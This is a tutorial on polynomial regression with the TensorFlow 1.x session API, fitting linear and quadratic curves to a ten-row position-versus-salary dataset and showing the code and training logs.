Even though in this tutorial we will use a Position Vs Salary dataset, it is important to know how to create synthetic data

To create 50 values spaced evenly between 0 and 50, we use NumPy's linspace function

linspace(lower_limit, upper_limit, no_of_observations)

x = np.linspace(0, 50, 50)
y = np.linspace(0, 50, 50)

We use the following function to add noise to the data, so that our values

x += np.random.uniform(-4, 4, 50)
y += np.random.uniform(-4, 4, 50)

Position vs Salary Dataset

We will be using https://drive.google.com/file/d/1tNL4jxZEfpaP4oflfSn6pIHJX7Pachm9/view (Salary vs Position Dataset)

!wget --no-check-certificate 'https://docs.google.com/uc?export=download&id=1tNL4jxZEfpaP4oflfSn6pIHJX7Pachm9' -O data.csv

df = pd.read_csv("data.csv")

df # this gives us a preview of the dataset we are working with

| Position          | Level | Salary  |
|-------------------|-------|---------|
| Business Analyst  | 1     | 45000   |
| Junior Consultant | 2     | 50000   |
| Senior Consultant | 3     | 60000   |
| Manager           | 4     | 80000   |
| Country Manager   | 5     | 110000  |
| Region Manager    | 6     | 150000  |
| Partner           | 7     | 200000  |
| Senior Partner    | 8     | 300000  |
| C-level           | 9     | 500000  |
| CEO               | 10    | 1000000 |

We convert the salary column as the ordinate (y-coordinate) and level column as the abscissa

abscissa = df["Level"].to_list() # abscissa = [1,2,3,4,5,6,7,8,9,10]
ordinate = df["Salary"].to_list() # ordinate = [45000,50000,60000,80000,110000,150000,200000,300000,500000,1000000]

n = len(abscissa) # no of observations
plt.scatter(abscissa, ordinate)
plt.ylabel('Salary')
plt.xlabel('Position')
plt.title("Salary vs Position")
plt.show()

Defining Stuff

X = tf.placeholder("float")
Y = tf.placeholder("float")

Defining Variables

We first define all the coefficients and constant as tensorflow variables having a random initial value

a = tf.Variable(np.random.randn(), name = "a")
b = tf.Variable(np.random.randn(), name = "b")
c = tf.Variable(np.random.randn(), name = "c")
d = tf.Variable(np.random.randn(), name = "d")
e = tf.Variable(np.random.randn(), name = "e")
f = tf.Variable(np.random.randn(), name = "f")

Model Configuration

learning_rate = 0.2
no_of_epochs = 25000

Equations

deg1 = a*X + b
deg2 = a*tf.pow(X,2) + b*X + c
deg3 = a*tf.pow(X,3) + b*tf.pow(X,2) + c*X + d
deg4 = a*tf.pow(X,4) + b*tf.pow(X,3) + c*tf.pow(X,2) + d*X + e
deg5 = a*tf.pow(X,5) + b*tf.pow(X,4) + c*tf.pow(X,3) + d*tf.pow(X,2) + e*X + f

Cost Function

We use the Mean Squared Error Function

mse1 = tf.reduce_sum(tf.pow(deg1-Y,2))/(2*n)
mse2 = tf.reduce_sum(tf.pow(deg2-Y,2))/(2*n)
mse3 = tf.reduce_sum(tf.pow(deg3-Y,2))/(2*n)
mse4 = tf.reduce_sum(tf.pow(deg4-Y,2))/(2*n)
mse5 = tf.reduce_sum(tf.pow(deg5-Y,2))/(2*n)

Optimizer

We use the AdamOptimizer for the polynomial functions and GradientDescentOptimizer for the linear function

optimizer1 = tf.train.GradientDescentOptimizer(learning_rate).minimize(mse1)
optimizer2 = tf.train.AdamOptimizer(learning_rate).minimize(mse2)
optimizer3 = tf.train.AdamOptimizer(learning_rate).minimize(mse3)
optimizer4 = tf.train.AdamOptimizer(learning_rate).minimize(mse4)
optimizer5 = tf.train.AdamOptimizer(learning_rate).minimize(mse5)

init=tf.global_variables_initializer()

Model Predictions

For each type of equation first we make the model predict the values of the coefficient(s) and constant, once we get these values we use it to predict the Y values using the X values. We then plot it to compare the actual data and predicted line.

Linear Equation

with tf.Session() as sess:
    sess.run(init)
    for epoch in range(no_of_epochs):
      for (x,y) in zip(abscissa, ordinate):
        sess.run(optimizer1, feed_dict={X:x, Y:y})
      if (epoch+1)%1000==0:
        cost = sess.run(mse1,feed_dict={X:abscissa,Y:ordinate})
        print("Epoch",(epoch+1), ": Training Cost:", cost," a,b:",sess.run(a),sess.run(b))

        training_cost = sess.run(mse1,feed_dict={X:abscissa,Y:ordinate})
        coefficient1 = sess.run(a)
        constant = sess.run(b)

print(training_cost, coefficient1, constant)

Epoch 1000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 2000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 3000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 4000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 5000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 6000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 7000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 8000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 9000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 10000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 11000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 12000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 13000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 14000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 15000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 16000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 17000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 18000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 19000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 20000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 21000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 22000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 23000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 24000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 25000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
88999125000.0 180396.42 -478869.12

predictions = []
for x in abscissa:
  predictions.append((coefficient1*x + constant))
plt.plot(abscissa , ordinate, 'ro', label ='Original data')
plt.plot(abscissa, predictions, label ='Fitted line')
plt.title('Linear Regression Result')
plt.legend()
plt.show()

Quadratic Equation

with tf.Session() as sess:
    sess.run(init)
    for epoch in range(no_of_epochs):
      for (x,y) in zip(abscissa, ordinate):
        sess.run(optimizer2, feed_dict={X:x, Y:y})
      if (epoch+1)%1000==0:
        cost = sess.run(mse2,feed_dict={X:abscissa,Y:ordinate})
        print("Epoch",(epoch+1), ": Training Cost:", cost," a,b,c:",sess.run(a),sess.run(b),sess.run(c))

        training_cost = sess.run(mse2,feed_dict={X:abscissa,Y:ordinate})
        coefficient1 = sess.run(a)
        coefficient2 = sess.run(b)
        constant = sess.run(c)

print(training_cost, coefficient1, coefficient2, constant)

Epoch 1000 : Training Cost: 52571360000.0  a,b,c: 1002.4456 1097.0197 1276.6921
Epoch 2000 : Training Cost: 37798890000.0  a,b,c: 1952.4263 2130.2825 2469.7756
Epoch 3000 : Training Cost: 26751185000.0  a,b,c: 2839.5825 3081.6118 3554.351
Epoch 4000 : Training Cost: 19020106000.0  a,b,c: 3644.56 3922.9563 4486.3135
Epoch 5000 : Training Cost: 14060446000.0  a,b,c: 4345.042 4621.4233 5212.693
Epoch 6000 : Training Cost: 11201084000.0  a,b,c: 4921.1855 5148.1504 5689.0713
Epoch 7000 : Training Cost: 9732740000.0  a,b,c: 5364.764 5493.0156 5906.754
Epoch 8000 : Training Cost: 9050918000.0  a,b,c: 5685.4067 5673.182 5902.0728
Epoch 9000 : Training Cost: 8750394000.0  a,b,c: 5906.9814 5724.8906 5734.746
Epoch 10000 : Training Cost: 8613128000.0  a,b,c: 6057.3677 5687.3364 5461.167
Epoch 11000 : Training Cost: 8540034600.0  a,b,c: 6160.547 5592.3022 5122.8633
Epoch 12000 : Training Cost: 8490983000.0  a,b,c: 6233.9175 5462.025 4747.111
Epoch 13000 : Training Cost: 8450816500.0  a,b,c: 6289.048 5310.7583 4350.6997
Epoch 14000 : Training Cost: 8414082000.0  a,b,c: 6333.199 5147.394 3943.9294
Epoch 15000 : Training Cost: 8378841600.0  a,b,c: 6370.7944 4977.1704 3532.476
Epoch 16000 : Training Cost: 8344471000.0  a,b,c: 6404.468 4803.542 3120.2087
Epoch 17000 : Training Cost: 8310785500.0  a,b,c: 6435.365 4628.1523 2709.1445
Epoch 18000 : Training Cost: 8277482000.0  a,b,c: 6465.5493 4451.833 2300.2783
Epoch 19000 : Training Cost: 8244650000.0  a,b,c: 6494.609 4274.826 1894.3738
Epoch 20000 : Training Cost: 8212349000.0  a,b,c: 6522.8247 4098.1733 1491.9915
Epoch 21000 : Training Cost: 8180598300.0  a,b,c: 6550.6567 3922.7405 1093.3868
Epoch 22000 : Training Cost: 8149257700.0  a,b,c: 6578.489 3747.8362 698.53357
Epoch 23000 : Training Cost: 8118325000.0  a,b,c: 6606.1973 3573.2742 307.3541
Epoch 24000 : Training Cost: 8088001000.0  a,b,c: 6632.96 3399.878 -79.89219
Epoch 25000 : Training Cost: 8058094600.0  a,b,c: 6659.793 3227.2517 -463.03156
8058094600.0 6659.793 3227.2517 -463.03156